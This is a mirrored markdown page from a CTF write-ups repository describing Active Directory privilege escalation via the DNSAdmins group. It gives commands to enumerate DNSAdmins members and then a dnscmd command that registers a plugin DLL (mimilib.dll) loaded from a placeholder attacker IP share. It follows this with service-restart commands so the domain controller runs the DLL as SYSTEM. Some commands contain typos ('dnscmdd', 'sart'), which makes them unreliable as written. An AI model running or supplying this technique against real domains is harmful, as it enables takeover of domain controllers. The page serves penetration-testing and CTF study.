Mirrors/CTF-Writeups
2
0
Fork 0
mirror of https://github.com/AbdullahRizwan101/CTF-Writeups synced 2024-11-23 04:23:04 +00:00
Code Issues Projects Releases Packages Wiki Activity
CTF-Writeups/Active Directory/Domain Privilege Escalation/5-DNSAdmin.md
ARZ 38f3d51121
Add files via upload
2021-12-09 17:11:17 +05:00

759 B
Raw Blame History

Domain Enumeration - DNSAdmins

Members of DNSAdmins could load arbitary DLL with the privileges of dns.exe , if Domain Controller (DC) servers as DNS , we can perform escalation to Domain Admins (DA)

Powerview

Enumerate members of DNSAdmins group

Get-NetGroupMember -GroupName "DNSAdmins"

AD Module

Enumerate members of DNSAdmins group

Get-ADGroupMember -Identity DNSAdmins

Configure DLL using dnscmd.exe

dnscmdd dc-name or 127.0.0.1 /config /serverlevelplugindll \\your_attacker_ip\dll\mimilib.dll

Restart dns service

sc.exe stop dns
sc.exe sart dns

Or alternatively follow this

https://medium.com/r3d-buck3t/escalating-privileges-with-dnsadmins-group-active-directory-6f7adbc7005b